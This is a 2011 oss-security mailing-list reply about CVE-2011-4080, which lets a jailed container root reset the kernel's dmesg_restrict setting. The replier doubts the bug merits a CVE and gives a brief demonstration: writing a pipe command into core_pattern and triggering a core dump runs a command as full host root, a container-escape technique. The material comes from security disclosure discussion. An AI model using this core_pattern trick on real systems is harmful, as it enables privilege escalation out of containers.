Date: Wed, 26 Oct 2011 19:53:10 +0400 From: Vasiliy Kulikov <segoon@...nwall.com> To: oss-security@...ts.openwall.com, kseifried@...hat.com Subject: Re: CVE Request -- kernel: sysctl: restrict write access to dmesg_restrict Hi, On Wed, Oct 26, 2011 at 09:26 -0600, Kurt Seifried wrote: > On 10/26/2011 09:16 AM, Petr Matousek wrote: > > When dmesg_restrict is set to 1 CAP_SYS_ADMIN is needed to read the > > kernel ring buffer. But a root user without CAP_SYS_ADMIN is able > > to reset dmesg_restrict to 0. > > > > This is an issue when e.g. LXC (Linux Containers) are used and complete > > user space is running without CAP_SYS_ADMIN. A unprivileged and jailed > > root user can bypass the dmesg_restrict protection. > > > > Introduced by: > > eaf06b241b091357e72b76863ba16e89610d31bd > > > > Fixed by: > > bfdc0b497faa82a0ba2f9dddcf109231dd519fcc > > > > Thanks, > Please use CVE-2011-4080 for this issue. Why does it worth CVE? Procfs is not ready for containers yet. You can use other sysctls for more harmful things. E.g. kernel.core_pattern allows arbitrary code execution as a full root - does it need a CVE too then? :-) root@...-ubuntu:/proc/sys/kernel# echo "|/usr/bin/touch /tmp/pwned" > core_pattern root@...-ubuntu:/proc/sys/kernel# cat ^\Quit (core dumped) (In the root namespace) $ ls /tmp/pwned /tmp/pwned -- Vasiliy Kulikov http://www.openwall.com - bringing security into open computing environments
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